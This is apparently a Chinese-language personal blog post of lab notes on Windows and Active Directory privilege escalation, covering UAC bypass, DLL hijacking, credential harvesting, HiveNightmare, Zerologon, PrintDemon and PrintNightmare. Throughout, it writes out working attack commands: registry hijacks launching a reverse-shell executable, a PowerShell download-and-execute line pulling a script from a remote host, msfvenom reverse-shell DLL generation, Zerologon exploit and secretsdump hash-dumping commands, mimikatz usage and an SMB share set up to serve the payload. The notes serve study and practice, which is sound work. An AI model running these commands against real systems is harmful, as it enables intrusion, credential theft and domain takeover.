    这个属于是大杂烩了在里面集成了西面几种提权方式用于获取SYSTEM权限

    1. Rotten Potato
    2. Juicy Potato
    3. RogueWinRMPrintSpoofer

5 Bypass UAC

用户账户控制(UAC)是Windows操作系统的一种控制机制, 可以阻止自动安装未授权的应用并防止意外更改系统设置,, 有助于防止恶意软胶囊损坏计算机。

UAC使应用程序和任务始终在非管理员用户的上下文中运行, 除非管理员专门授予管理员级别权限, 所以开启UAC后每个需要用户管理员令牌的应用都必须提示征得用户同意。

RID 500(administrrtot)的管理员用户登录后, 系统会为其创建两个单独的访问令牌, 标准用户访问令牌多喝管理员访问令牌

标准用户访问令牌

包含域管理员访问令牌相同的用户特定信息, 只是移除了Windows管理特权相关的SID, 标准用户访问令牌用于启动不执行管理任务的应用程序(标准用户应用程序), 当管理员高执行高权限任务时Windwos会弹窗提示用户批准, 在同意后使用管理员访问令牌

如果能完成UAC的绕过的话我们就可以通过操作非RID 500用户就可以不需要用户批准(不弹出管理员授权提示窗口)即可直接使用管理员令牌从而获得全部管理员权限。

5.1 UAC白名单

# 查找白名单程序
sigcheck.exe -accepteula -m C:\Windows\System32\*.exe   #输出System32下面全部应用的Manifest数据
strings.exe -accepteula -s C:\Windows\System32\*.exe |find /i "<autoElevate>true</autoElevate>"   #输出System32下面全部应用的Manifest数据过滤autoElevate为True的程序

# ComputerDefault.exe默认程序应用+修改注册表提权demo:
reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "C:\temp/reverse_http_80.exe" /f  #修改ComputerDefault加载的注册表指向的程序
reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /d "C:\temp/reverse_http_80.exe" /f #修改ComputerDefault加载的注册表指向的程序
ComputerDefault.exe #执行程序,因为UAC白名单以管理员身份启动,然后加载注册表程序反弹管理员会话

后面的内容有点多, 且示例中的使用ComputerDefaults.exe进行提权的方式需要根据进程监视器找到进程的注册表加载项, 这些没有一定的熟练度和经验如果想要自己找的话无疑是困难的, 所以这里就直接简单说一下后面的一个思路

  1. 找到UAC白名单程序
  2. 检查程序有没有什么我们可控的额外加载项(示例中ComputerDefault.exe默认加载HKCU\Software\Classes\ms-settings\shell\open\command注册表项程序)
  3. UAC程序加载的程序我们是否可控(上面的注册表普通用户权限就可以修改, 这点是很重要的,最佩服的就是示例中的作者能够发现这个一般权限可控的注册表)
  4. 引导UAC程序加载我们的恶意程序拿到一个管理员会话
  5. 使用管理员会话使用CS的csv-exe功能或者Meterpreter的getsystem程序拿到SYSTEM权限会话

微软在用户账户控制(UAC)设置了白名单, 白名单程序不会向用户发出询问而直接以默认方式自动提升到管理员权限运行。攻击者可以通过对这些白名单程序进行dll劫持,DLL注入注册表劫持等绕过UAC限制。

查找白名单的工作可以通过使用官方工具Sigcheck,Strings完成(官方工具就不会被defender给ban掉了)

strings工具下载: https://learn.microsoft.com/en-us/sysinternals/downloads/strings

sigcheck工具下载: https://learn.microsoft.com/zh-cn/sysinternals/downloads/sigcheck

白名单程序有一个个共同特性, 那就是Manifest数据中autoElevate属性为True, sigcheck和strings工具都可以检查mainfest数据的autoElevate属性从而找出白名单程序

sigcheck.exe -accepteula -m C:\Windows\System32\*.exe |findstr ".exe autoElevate" #输出System32下面全部应用的Manifest数据

strings.exe -accepteula -s C:\Windows\System32\*.exe |find /i "<autoElevate>true</autoElevate>"   #输出System32下面全部应用的Manifest数据过滤autoElevate为True的程序

上面两个工具输出的数据都会非常多, 可以先将其输出到一个文件中日韩再通过<autoElevate>true</autoElevate>逐个查找白名单程序

操作示例+一个UAC提权demo思路学习

下面这部分内容感觉相比这个单一的方法, 更值得学习的是这个思路, 对进程监视器的操作并不是很熟悉导致并没有过滤出进程加载注册表的界面所以很多东西都是直接摘抄下来了

这里可以通过检查单个引用computerdefaults.exe这个默认打开程序

image-20221017221153730

可以使用微软的系统工具Process Monitor监控ComputerDefaults.exe进程的所有操作行为(主要是监控注册表和文件操作), 然后在里面可以在里面看到ComputerDefaults.exe会先查询注册表HKCU\Software\Classes\ms-settings\Shell\open\command中的数据, 发现该路径不存在然后继续查询HKCR\ms-settings\Shell\Open\Command\DelegateExecute中的数据并读取

通常以Shell\open\command命名的注册表中存储的可能是可执行文件路径, 程序会读取其中的键值并运行相应的可执行文件。由于ComputerDeflate.exe是UAC白名单程序, 运行时默认提升了权限, 因此运行键值的可执行程序的时候使用的是管理员身份.

所以我们可以通过修改注册表的方式

reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "C:\temp/reverse_http_80.exe" /f

reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /d "C:\temp/reverse_http_80.exe" /f

即使是普通用户也可以修改HKCU\Software\Classes\ms-settings\shell\open\command的键值(如果没有注册表会直接创建), 然后可以修改里面的默认键值以及DelegateExecute键值, 并且对HKCU的修改会同步到HKCR.

image-20221017224306897

在修改后可以看到注册表成功被添加(执行命令之前注册表项是不存在的)

image-20221017224458640

在拿到管理员的会话之后如果是在cs里面那么直接利用Access->Elevate->svc-exe模块就可以直接拿到一个SYSTEM权限的会话了(msf则是到meterpreter中执行getsystem)

image-20221017224912911

5.2 DLL劫持

C:\temp\strings.exe -accepteula -s C:\Windows\System32\*.exe |find /i "<autoElevate>true</autoElevate>"   #获取SYSTEM32下的白名单程序

"process monitor.exe" #使用进程监视器查看白名单程序加载了哪些dll

这里提权部分的DLL劫持是劫持UAC程序需要加载的dll文件(但是拿到高权限的情况下也可以作为一个维权的方式)

关于dll动态链接库的加载这里并不想多说了, 直接记一下DLL动态链接库的搜索路径加载顺序.

在开启D安全LL搜索模式(XP SP2之后默认开启)的情况下:

  1. 程序安装目录
  2. 系统目录(C:\Windows\System32)
  3. 64位系统目录(C:\Windows\System)
  4. Windwos目录(C:\Windows)
  5. 当前工作目录
  6. Path环境变量列出的目录

只要我们放置的dll程序在原本应加载的dll文件之前被加载到(dll文件需要同名), 就可以完成dll劫持, 但是一般这些目录我们都是不可写的, 所以需要结合模拟可信任目录进行利用

5.3 模拟可信任目录

UAC白名单程序请求自动提升权限的过程:

  1. 系统读取程序mainFest信息中的autoElevate属性字段值,如果为True则说明是可自动提升权限的程序
  2. 系统检查程序的签名(这就意味着不能将UAC程序替换为paylaod程序)
  3. 系统检查程序是否位于可信任目录中(如C:\Windows\System32目录)

模拟可信任目录主要的攻击点就是在第三部可信任目录上, 例如上面提到C:\Windows\System32目录是一个可信任目录, 那么我们就可以使用一个`C:\Windows \System32目录作为模拟可信任目录(在Windows后面多了一个空格), 原理就是在系统检查的时候会自动去处目录中的空格(所以其实我们还有很多可选的模拟信任目录)

想要利用模拟可信任目录进行DLL劫持完成提权, 总结就是以下四步:

  1. 找到UAC白名单程序
  2. 创建模拟可信任目录(这里需要自己筛选可写入的目录了)
  3. 将程序目录的文件内容全部复制到模拟可信任目录中(保留mainFest中的autoExecute数据字段和程签名不变)这里建议直接跑工具UacInfo64.exe
  4. 将复制过来的某个dll文件删除, 替换为我们构造好的dll格式的payload文件

对于模拟可信任目录是否有权限新建可以使用icacls <DirPath/FilePath> 查看, 这是系统自带的显示或修改指定文件上的随机访问控制列表 (DACL),并将存储的 DACL 应用于指定目录中的文件。

这里实操部分的内容因为设计到需要指定dll中需要有与原来的DLL相同的导出函数, 所以这就意味着直接使用msf指定生成的类型为dll之后直接该文件名是不可行的, 这一步需要我们使用手动自己写一个dll的c源码文件, 然后再将其编译为DLL文件, 最后修改dll文件名上传到虚拟可信任目录中, 而这一步的内容我是并不熟悉的, 准备将其放到专门学习DLL劫持的部分再进行(感觉最大的难点就是要找到DLL的导出函数然后构造dll的过程了)

但是可以一说的是一个简单的操作步骤和思路:

  1. strings列出SYSTEM32下的白名单程序
  2. 检查白名单程序是否有调用DLL
    1. 这一步我自己测试的时候的想法其中就是通过string查询数据的时候直接过滤.dll字段, 然后找出加载的.dll文件名(但是好像有时候输出的一些dll不一定会被加载)
    2. 书上使用的方法就是直接运行白名单程序, 然后使用Process monitor添加过滤规则(可以添加Process Name或者PID将其修改为对应的程序名或者PID)然后查看列表中出现的加载了的dll文件名(其实加载注册表的发现也可以通过这种方式寻找, 如果是寻找注册表方法的话难点就需要有扎实的注册表功底, 需要知道哪些注册表是一般用户令牌即可修改才行, 或者最头铁的就是直接一个个reg /add语句测试了)
  3. 将表名单程序赋值到虚拟可信任目录
  4. 将构造好带有相同导出函数的DLL改名后放到复制后的同一目录下(可用ExportsToC++, AheadLib)
  5. 运行虚拟可信任目录的白名单程序

下面是我在默认系统下SYSTEM32的白名单程序检测输出结果(如果要逐个执行测试的话慎重, 因为我执行了一堆之后直接系统绷掉了, 幸好重启就行, 不然又要重新陪靶机了):

C:\Users\h0cksr\Desktop>C:\temp\strings.exe -accepteula -s C:\Windows\System32\*.exe |find /i "<autoElevate>true</autoElevate>"
C:\Windows\System32\bthudtask.exe:           <autoElevate>true</autoElevate>
C:\Windows\System32\changepk.exe:             <autoElevate>true</autoElevate>
C:\Windows\System32\ComputerDefaults.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\dccw.exe:       <autoElevate>true</autoElevate>
C:\Windows\System32\dcomcnfg.exe:           <autoElevate>true</autoElevate>
C:\Windows\System32\DeviceEject.exe:             <autoElevate>true</autoElevate>
C:\Windows\System32\DeviceProperties.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\djoin.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\easinvoker.exe:       <autoElevate>true</autoElevate>
C:\Windows\System32\EASPolicyManagerBrokerHost.exe:       <autoElevate>true</autoElevate>
C:\Windows\System32\eudcedit.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\eventvwr.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\fodhelper.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\fsquirt.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\FXSUNATD.exe:           <autoElevate>true</autoElevate>
C:\Windows\System32\immersivetpmvscmgrsvr.exe:       <autoElevate>true</autoElevate>
C:\Windows\System32\iscsicli.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\iscsicpl.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\lpksetup.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\MSchedExe.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\msconfig.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\msra.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\MultiDigiMon.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\newdev.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\odbcad32.exe:             <autoElevate>true</autoElevate>
C:\Windows\System32\PasswordOnWakeSettingFlyout.exe:          <autoElevate>true</autoElevate>
C:\Windows\System32\rdpshell.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\recdisc.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\rrinstaller.exe:             <autoElevate>true</autoElevate>
C:\Windows\System32\shrpubw.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\slui.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\SystemPropertiesAdvanced.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\SystemPropertiesComputerName.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\SystemPropertiesDataExecutionPrevention.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\SystemPropertiesHardware.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\SystemPropertiesPerformance.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\SystemPropertiesProtection.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\SystemPropertiesRemote.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\SystemSettingsAdminFlows.exe:          <autoElevate>true</autoElevate>
C:\Windows\System32\SystemSettingsRemoveDevice.exe:          <autoElevate>true</autoElevate>
C:\Windows\System32\Taskmgr.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\tcmsetup.exe:         <autoElevate>true</autoElevate>
C:\Windows\System32\TpmInit.exe:             <autoElevate>true</autoElevate>
C:\Windows\System32\WindowsUpdateElevatedInstaller.exe:          <autoElevate>true</autoElevate>
C:\Windows\System32\WSReset.exe:     <autoElevate>true</autoElevate>
C:\Windows\System32\wusa.exe:             <autoElevate>true</autoElevate>
C:\Windows\System32\Sysprep\sysprep.exe:       <autoElevate>true</autoElevate>

然后书上使用的是Winsat程序, 然后我便照着调了一下, 添加了过滤规则之后可以在进程监视器看到一下内容:

image-20221018150023330

但是个人感觉最拉胯的一点那就是这里的模拟可信任目录并没有生效(C:\ Windows\System32), 例如下面是我在自己检查到shrpubw.exe(创建共享文件夹向导)这个白名单程序也加载了许多dll之后准备使用这个程序进行dll劫持, 结果发现将shrpubw.exe赋值到C:\ Windows\System32启动还是会出现UAC权限判断弹窗, 男蚌了......

image-20221018150359993

image-20221018150224750

5.4 相关辅助工具

  1. UACME

    akagi.exe [key] [param]  #key指定需要使用的方法编号;param指定绕过UAC之后执行的程序或命令,默认启动一个关闭UAC之后的CMD窗口

    UACME是一个专用于绕过Windows UAC的项目, 目前已包含70多种BypassUAC的方法

    在UACME中每一个Bypass UAC方法都有一个数字编号, 由一个名为Akagi.exe的主程序统一调用

    https://github.com/Apri1y/UACME 18年的项目, 在README中详细介绍了47种利用方式以及它的可利用起止版本(里面的unfix看看就行, 还是要自己尝试, 毕竟项目比较老了)且有已编译好的exe可直接使用(但是一落地就会被杀, 倒是里面的工具UacInfo64.exe还挺好用的, 直接列出CLSID的对象说明以及可以dll劫持的白名单程序

    )

    https://github.com/hfiref0x/UACME 17年的项目, 在README中的使用demo编号高达61,但是没有太多编号对应的漏洞介绍

    https://github.com/dotfornet/UACME 16年的项目, 在README中有23个利用方式,且对每个利用方式都要描述且说了从哪个版本(Fixed)

  2. Metasploit

    msfconsole
    search bypassuac
    use xploit/windows/local/bypassuac_xxx
    set session   #BypassUAC需要指定一个当前已连接的会话编号
    run  #如果成功的话会返回一个新的session

    在msf中集成了十几个可用的bypassuac模块, 直接通过search bypassuac即可搜索查看

    image-20221018153400262

这个bypassuac模块其实在高版本中只能说尝试的心态吧, 像是我这里本地测试的话从0到12全部都测试了一遍每一个是提权成功了的, 前面的几乎就是直接不可用, 然后到6-9这几个就是被denfnder给杀掉了(但是至少说明如果做了免杀之后还是可用的), 最后两个的话就是直接执行了也没啥反应了(且几乎如果是被defender杀掉的话同时会导致当前会话直接断开)

image-20221018155427202

6 用户凭据操作

6.1 枚举 Unattended 凭据

msfconsole
use post/windows/gather/enum_unattend
set session <SessionID>
run

简单来说就是残留的配置文件可能存在用户账户信息

无人值守(Unattended)安装允许引用程序在不需要管理员关注下自动安装。无人值守安装的问题可能会在系统中残留一些配置文件, 在里面有可能含有用户的账号和密码, 一般的配置残留文件有这些

C:\sysprep.inf
C:\syspreg\sysprep.xml
C:\syspreg\system32\sysprep.inf
C:\syspreg\system32\sysprep\sysprep.xml

C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml

C:\Windows\system32\Sysgrep\Unattend.xml
C:\Windows\system32\Sysgrep\Panther\Unattend.xml

msf有内置的模块用于获取unattended安装的残留配置文件中的残留用户信息模块post/windows/gather/enum_unattend, 执行后会在本地得到一个输出结果文件, 可以直接cat文件获取到检测内容

image-20221018171353431

6.2 获取组策略凭据

msfconsole
use /windows/gather/credentials/gpp
set session <sessionID>
run

微软在Windows Server 2008 中引入了组策略首选项, 允许网络管理员对指定计算机和用户配置特定的设置

在新建一个组后, 控制器会在SYYVOL共享目录下生成一个xml文件, 改文件保留了组策略更新后的密码。

SYSVOL是在安装活动目录时创建的一个用于存储公共文件服务器副本共享文件夹, 主要存放登录脚本,组策略数据以及其他域控制器需要的域信息等, 并在所有结果身份验证的域用户或者域信任用户范围内共享

在SYSVOL目录中可以找到一个名为Groups.xml的文件,其中的cpassword字段保存了经过AES 256加密后的用户密码, 微软在2012年公布了加密秘钥, 这就意味着域内用户都可以读取Groups.xml中的密码并使用公开的秘钥进行解密。且由于通过组策略批量修改的本地管理员密码都是相同的, 这就意味着拿到一台机器的本地管理员密码就拿到了域控账户进而通过域管账户拿下整个域。

实操实例(Windows Server2016)

然而实际操作是不行的,在登陆到DC的目录之后,可以看到两个目录,SYSVOL就在其中,但是点击打开之后就没反应了,通过net使用administrator连接IPC之后打开目录则是自动跳到文件夹首页默认位置

net use \\192.168.30.10\$IPC "adminDC#@123" administrator

image-20221018174739526

之后使用msf也是失败了

image-20221018174817555

6.3 HiveNightmare

HiveNightmare.exe   #执行漏洞程序导出有关SAM的三个表
python3 secretsdump.py -sam SAM-haxx -system SYSTEM-haxx -security SECURITY-haxx LOCAL  #从导出的SAM中拿到用户哈希

2021年7月公布漏洞(CVE-2021-36934), 由于Windows中多个系统文件的访问控制表(ACL)过于宽松,使得任何标准用户都可以从系统影卷副本中读取包括SAM、SYSETM、SECURITY在内的多个系统文件。拿到这几个文件之后就可以进行本地破解,拿到用户的NTLM hash进行PTH攻击或者直接本地爆破密码。

该漏洞影响WIN10 Version 1809发布以来的所有Windows版本,包括Windows11, 被称为HiveNightmare

漏洞利用条件有两个:

  1. 系统保护开启(默认开启)
  2. 系统中创建有还原点

三个系统文件位置为:

C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SECURITY

实操示例

遇到一件奇怪的事那就是当我查看系统还原点设置的时候看到系统保护是关闭的(修改前如下), 且在我手动打开系统保护之后创建了还原点使用icacls检查SAM文件的时候显示禁止访问, 且在重启之后依然如此

image-20221018182510941

image-20221018182740773

虽然权限问题明显得知漏洞不可用, 但是还是照常操作一下吧

先下载HiveNightmare.exe然后上传到靶机中然后直接执行就会在当前目录输出SAM,SYSTEM,SECURITY三个文件(exe上去就直接被杀, 但是HiveNightmare项目里的ps文件就没报报毒)

image-20221018183113839

image-20221018183221303

执行可以看到预料之中地失败了, 但是如果成功了的话我们就可以直接使用Impacket项目中的secretsdump.py导出SAM中的哈希值

python3 secretsdump.py -sam SAM-haxx -system SYSTEM-haxx -security SECURITY-haxx LOCAL

6.4 Zerologon 域内提权

Zerologon(CVE-2020-1472)是Netlogon远程协议的一个特权漏洞的提升, 可以在不提供任何凭据的情况下通过身份验证, 实现域内提权。

漏洞常见的利用方法就是调用Netlogon中的RPC函数NetrServerPasswordSet2来重置域控制器账户的密码。注意这里重置的是DC机器账户密码(详细的域内用户组参考域内信息收集,这里的机器账户就是域成员主机组内的账户Domain Computers), 这个域控制器主机账户密码由系统随机生成(密码强度是120字符,且会定时更新).

在域内的机器账户以机器名+$也是一种域用户, 它是不允许登录的, 所以不能直接进行远程登录域控制器, 但是域控制器的机器账户在默认下拥有DCSync权限, 因此可以通过DCSync攻击导出域管理员密码的哈希, 从而获取域控权限。

  1. 重置域控密码

    实操示例

    可以到项目CVE-2020-1472获取poc文件

    1. 运行cve-2020-1472-exploit.py 将域控制器密码重置为空

      python3 cve-2020-1472-exploit.py [DCName] [DCIP]
    2. 使用secretsdump.py以空密码连接上域控, 并导出管理员哈希值

      python3 secretsdump.py [DomainName]/[DCName]\$@[DCIP] -just-dc-user "[SonDomain\administrator]" -no-pass
      
      python3 secretsdump.py h0cksr.bxs/DC\$@192.168.30.10 -just-dc-user "h0cksr\administrator" -no-pass

      拿到管理员哈希之后对域控制器执行PTH哈希传递攻击, 利用成功则获取到域控的SYSTEM权限

    这里的cve-2020-1472-exploit.pysecretsdump.py因为考虑到靶机上可能没有python,即使有python也不一定有需要的依赖, 所以我就直接在本地使用pyinstaller将.py打包为.exe方便直接上传后运行

    python -m pip install --upgrade pip
    python -m pip install pyinstaller
    Python -m pip install impacket
    
    pyinstaller -F cve-2020-1472-exploit.py 
    pyinstaller -F secretsdump.py

    执行完毕之后可以在当前目录的dist下面找到有.py打包的.exe文件(exploite生成的exe文件会被defender直接杀掉,但是secretsdump生成的exe就没问题)

    之后直接运行.exe程序即可, 但是在这里又失败了, 前面将密码置空的cve-2020-1472-exploit.exe执行返回没问题, 但是执行secretsdump.exe获取SAM数据的时候就失败了

    image-20221018201312775

    之后我到DC域控主机看了一下, 发现是在域控主机内根本没有DC$这个属于Domain Computers的账户, 只有域成员的主机账号

    image-20221018202002275

    最后我又试了一下手动添加DC$账户, 并且将这个DC$用户加入到Domain Computers域用户组中, 但是前后执行结果没有任何差别

    此外也可以使用mimikatz直接进行攻击(有些mimikatz版本没有zerologon模块,可以到这里下载mimikatz_trunk.zip:

    mimikatz.exe "lsadump::zerologon /target:192.168.30.10 /ntlm /null /account:DC$/exploite" exit

    image-20221018202323301

  2. 恢复域控密码

    在攻击结束之后需要及时恢复域控的密码, 否则可能导致域控制器脱域。主要原因是域控NTDS.dit中存储的密码和域控本地注册表中存储的密码不一致

    这一步应该是在上面利用成功的情况下才会使用的, 但是也还是记一下:

    导出注册表:

    reg save HKLM\SYSTEM system.hiv
    reg save HKLM\SAM sam.hiv
    reg save HKLM\SECURITY security.hiv

    导出后复制到本地, 使用secretsdump.py导出注册表中的哈希值,重置机器前的机器用户密码(密码前面有plain_password_hex:,显示的是HEX编码后的结果)

    python3 secretsdump.py -sam sam.hiv -system system.hiv -security security.hiv LOCAL

(感觉翻车的地方太多了, 可能是比较新win10且为教育版比较特殊的原因吧, 不过提权)

7 Print Spooler提权漏洞

Print Spooler是Windows系统, 打印后台处理服务, 用来管理所有本地和网络打印队列, 并控制所有打印工作。该服务在Windows中默认开启。

7.1 PrintDemon

2020年5月12日更新安全补丁,公开了PrintDemon本地提权漏洞(CVE-2020-1048)

在Windwos添加打印机是需要设置打印机的端口,如LPT1端口、USB端口、网络端口和文件等。如果端口设置为文件路径,那么打印的内容就会被输出到文件。

这个漏洞简单来说就是如果在标准用户权限下进行打印服务,将数据打印到指定的系统文件中,如果权限不足就会打印失败。

而微软为了应对打印过程的异常和中断,引入了假脱机打印机制

假脱机打印会在系统重启后使用SYSTEM权限恢复之前未执行完的打印任务,这时候如果指定端口为文件,就会导致任意文件写入。

所以通过介绍了解PrintDemon漏洞可以做什么了--任意文件写入,那么怎么通过这个进一步完成RCE呢?

  1. DLL劫持文件写入
  2. 系统SYSTEM权限自启任务的exe文件替换(教程中就是直接替换了TestSvc服务的二进制文件)
  3. 个人思维拓展: 之前看注册表的时候有发现每个注册表都是一个文件, 那么是不是可以通过文件修改直接修改注册表完成服务的注册表劫持从而加载恶意payload拿到SYSTEM的会话

这里试了好几个都没有成功写入,最后使用Invoke-PrintDemon才有反应, 直接被defender报了, 之后一直都没有反应了

powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://192.168.92.130:81/Invoke-PrinterDemon.ps1');Invoke-PrintDemon -PrinterName 'PrintDemon' -Portname '<WriteFilePath>' -Base64code '<PayloadBase64>'"

7.2 PrintNightmare

PrintNightmare有两种变体,一种是权限提升(CVE-2021-1675,2021年6月8日推出微软补丁), 另一种允许远程代码执行(CVE-2021-34527,在1675补丁发布后爆出)

标准用户可以通过PrintNightMare漏洞绕过PfcAddPrinterDriver的安全验证并在打印服务器中安装恶意的驱动程序(如果域中可以连接到DC的PrintSpooler服务安装恶意驱动从而接管整个域)。

  1. 本地提权利用

    SharpPrintNightMare.exe C:\temp\reverse_http_80.dll

    实操演示

    同时支持两种PrintNightMare的powershell项目: https://github.com/calebstewart/CVE-2021-1675

    https://github.com/evilashz/CVE-2021-1675-LPE-EXP 有测试的dll

    image-20221018225408535

  2. CVE-2021-34527

    先使用msfvenom生成dllpayload(难得有可以直接使用msf生成的dll的机会)

    msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.92.128 LPORT=80 -f dll -o 123.dll

    然后在kali中使用代理开启smb服务,SMB服务配置文件/etc/samba/smf.conf修改为如下内容:

    [global]
    map to guest = Bad User
    server role = standlone server
    usershare allow guest = yes
    idmap config * : backend = tdb
    smb ports = 445
    
    [smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes

    启动服务后在域内主机访问进行服务开启测试:

    dir \\\smb  #如果在列出的目录看到123.dll则说明kali的smb服务启动成功

    最后使用py脚本直接攻击:

    python3 CVE-2021-1675.py /:\@123@ '\\\smb\123.dll'

8 Nopac域内提权 & 9 Certifried域内提权

  • Nopac域内提权 关于Kerberos协议的提权
  • Certifried域内提权 活动目录证书服务的提权

这两部分的内容都是有很多东西, 这两个提权方式参考之后kerberos协议的实操文章吧, 已经写了很多也不想再多写了

2022_10_16 -- 2022_10_18 周二23:30

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇